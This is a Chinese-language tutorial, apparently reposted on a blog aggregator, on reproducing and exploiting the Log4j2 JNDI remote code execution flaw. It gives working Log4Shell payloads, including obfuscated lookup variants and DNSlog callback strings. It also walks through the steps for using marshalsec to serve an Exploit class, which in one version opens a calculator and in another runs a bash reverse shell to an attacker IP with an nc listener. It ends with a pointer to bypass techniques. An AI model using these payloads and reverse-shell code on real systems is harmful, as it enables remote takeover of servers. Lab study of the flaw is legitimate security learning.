【log4j2漏洞复现与利用】
2022/1/31 23:16:51
本文主要是介绍【log4j2漏洞复现与利用】,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 漏洞简介
- log4j2 教程
- 环境搭建
- 测试运行
- 专业名词解释及其payload分析
- 利用工具简介:
- log4j2漏洞验证(弹出计算器版)
- 被攻击者的log4j2 打印函数示例
- 攻击者执行操作
- 漏洞复现
- log4j2漏洞验证(DNSlog版)
- DNSlog如何玩
- 在vulfocus靶场验证log4j2漏洞
- log4j2 靶场学习(反弹shell版)
- 靶场环境代码简要分析
- 被攻击者信息
- 攻击者的操作
- 攻击绕过相关参考
漏洞简介
Apache Log4j2是一个基于Java的日志记录工具。Apache Log4j 2.x <= 2.14.1版本存在远程代码执行漏洞。 漏洞的主要原因是log4j2的接收器对于不可靠来源的输入没有过滤,攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
log4j2 教程
- 这里简要log4j2的使用方法以及代码示例
环境搭建
- 搭建log4j2环境的主要难点在于引入三方库,主要有maven库引用和jar包直接引用的方式。只要保证代码可以引用到对应的log4j2库即可。
知识点
1. java函数编写 2. javac 编译, java执行 3. maven库的使用; jar包的引入
测试运行
- log4j2使用代码示例
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { logger.error("hello world asdf."); logger.error("$${lookupName:key:${lower:env}}"); logger.error("${env:aaa:-444444}"); logger.error("${base64:SGVsbG8gV29ybGQhCg==}"); logger.error("${log4j:configParentLocation}"); logger.error("$${lower:{${java:os}}"); logger.error("${upper:DhhASD}"); logger.error("${java:os}"); logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}"); } }
输出结果:
21-12-12 12:51:23.003 [main] ERROR log4j - hello world asdf. 21-12-12 12:51:23.011 [main] ERROR log4j - ${lookupName:key:${lower:env}} 21-12-12 12:51:23.011 [main] ERROR log4j - 444444 21-12-12 12:51:23.011 [main] ERROR log4j - ${base64:SGVsbG8gV29ybGQhCg==} 21-12-12 12:51:23.011 [main] ERROR log4j - D:\Work\D\Code\maven-01\target\classes 21-12-12 12:51:23.015 [main] ERROR log4j - ${lower:{Windows 10 10.0, architecture: amd64-64} 21-12-12 12:51:23.015 [main] ERROR log4j - ${upper:DhhASD} 21-12-12 12:51:23.015 [main] ERROR log4j - Windows 10 10.0, architecture: amd64-64 21-12-12 12:51:23.015 [main] ERROR log4j - ${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}
- 小结:
此处试验了log4j的lookup的变量替换功能。例如${java:os}可以打印操作系统相关信息。这也是log4j2 payload变种的主要依据。
此处有个疑问: ${lower:A} 这样的语法,日志打印中没有进行替换。
专业名词解释及其payload分析
首先看一下典型的payload示例:
${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}
这是利用的jndi注入的方式
有几个专业名词,在这里解释一下:
payload:
病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
jndi:
JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
参考资料:https://xz.aliyun.com/t/6633
ldap:
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
DNSlog:
DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
DNSlog 在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
分析payload:
${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}
jndi:ldap
是jndi注入
12345.p7yc0x.ceye.io
是一个域名, 其中p7yc0x.ceye.io是攻击者自己申请的免费三级域名, 12345
是随便写的四级域名。域名申请网站有http://ceye.io/ (需要注册) 以及http://www.dnslog.cn/(无需注册)
:1389/aaa
端口信息以及路径
此外,可以收集到payload的变种如下
${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://bbb.rblpq9.ceye.io/Log4jRC}
主要还是使用了log4j2的lookup方式, 具体可以查询官方文档:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
利用工具简介:
postman:
用于发送请求,请求中携带payload
marshalsec
这是一款java 反序列化利用工具,在本次实验中主要用来搭建LDAP服务器。
常用使用方式
开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
项目地址
https://github.com/mbechler/marshalsec
log4j2漏洞验证(弹出计算器版)
假设如下(具体以实际ip为主)
被攻击者者ip: 1.1.1.1
攻击者ip: 2.2.2.2
弹出计算器是常用的远程代码执行漏洞的验证方式。若攻击者的利用代码可以弹出计算器,则说明该漏洞可被利用执行命令。
思路
log4j2打印出payload的内容,触发远程代码执行,可以执行一个提前准备好的java函数,该函数可执行开启计算器功能。
被攻击者的log4j2 打印函数示例
假设被攻击者可能会运行如下代码:
import org.apache.logging.log4j.*; public class Log4jTest1 { public static final Logger logger = LogManager.getLogger(Log4jTest1.class); public static void main(String[] args){ System.out.println("开始执行漏洞利用"); //若java为高版本,需要开启这个才能利用 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("asdfasfdasdfafafd"); logger.error("${jndi:ldap://2.2.2.2:1389/adf}"); System.out.println("完成执行漏洞利用"); } }
攻击者执行操作
攻击者的利用代码如下:
public class Exploit { static { try { System.out.println("攻击代码正在运行..."); String [] cmd={"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); }catch (Exception e){ e.printStackTrace(); } } }
攻击者还需要执行以下步骤
- 编译攻击脚本,得到Exploit.class
javac Exploit.java
- 在利用脚本所在路径下, 开启http服务器
python -m http.server 8888
- 另外开一个窗口,开启ldap服务,默认端口为
1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"
解释:其中的#Exploit
需要和编译出的class文件名对应,不包含.class后缀。
这样的话,被攻击者用log4j2打印出payload"${jndi:ldap://2.2.2.2:1389/adf}"
,会自动执行Exploit.class
漏洞复现
被攻击者执行log4j2打印payload的操作, 即可触发启动计算器 ~
被攻击者的日志输出:
....... at com.sun.jndi.ldap.Connection.createSocket(Connection.java:373) at com.sun.jndi.ldap.Connection.<init>(Connection.java:213) ... 42 more 21-12-12 14:50:11.969 [main] ERROR Log4jTest1 - ${jndi:ldap://2.2.2.2:1389/adf} 完成执行漏洞利用
log4j2漏洞验证(DNSlog版)
DNSlog是黑客常用的探测log4j2漏洞是否存在的方式。
思路
输入是一个API接口, 调用API接口时携带payload(触发请求DNS), 然后根据DNSlog日志中是否收到请求,来判断是否存在log4j漏洞以及获取含有漏洞的IP。
DNSlog如何玩
- 在DNSlog 网站上申请一个免费的三级域名;
- 找一台机器ping 一下这个域名(可以加前缀变为4级域名)
- 在DNSlog网站上即可看到是哪个IP发送的请求
在vulfocus靶场验证log4j2漏洞
- 假设待检测的目标为
vulfocus.fofa.so:57872
- 提前准备好的DNS域名为
rblpq9.ceye.io
- 可以使用postman发送请求,主要信息如下:
POST /hello HTTP/1.1 Host: vulfocus.fofa.so:22755 Content-Type: application/x-www-form-urlencoded
payload
=${jndi:ldap://ce_shi_yi_xia.rblpq9.ceye.io/wu_suo_wei}
postman的主要截图如下:
DNSlog 主要截图如下:
log4j2 靶场学习(反弹shell版)
接下来将介绍,在靶场环境下,尝试利用该漏洞执行反弹shell直接拿到主机权限的演示。
靶场主要参考网络资源:
https://github.com/fengxuangit/log4j_vuln
执行命令:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln docker exec -it log4j_vuln_container /bin/bash /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
靶场环境代码简要分析
从代码中可以看出, 当请求参数中有c时, 会用log4j2打印参数内容, 容易触发漏洞。
被攻击者ip:1.1.1.1
攻击者ip:2.2.2.2
被攻击者信息
POST 1.1.1.1:8080/webstudy/hello-fengxuan
请求参数中可带内容 c="payload"
攻击者的操作
- 编写反弹shell利用代码
public class Exploit { static { try { String[] cmd = {"bash", "-i",">" ,"/dev/tcp/2.2.2.2/5566", "0>&1" ,"2>&1"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); }catch (Exception e){ e.printStackTrace(); } } }
-
javac 编译
-
在利用脚本所在路径下, 开启http服务器
python -m http.server 8888
- 另外开一个窗口,开启ldap服务,默认端口为
1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"
- 另外开一个窗口,开启监听
nc -lvp 5566
-
postman发送恶意请求
其中body体中
c="${jndi:ldap://2.2.2.2:1389/adf}" -
攻击成功, 获取shell
攻击绕过相关参考
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
这篇关于【log4j2漏洞复现与利用】的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南
- 2024-12-27JWT单点登录原理学习入门
- 2024-12-27JWT单点登录原理学习入门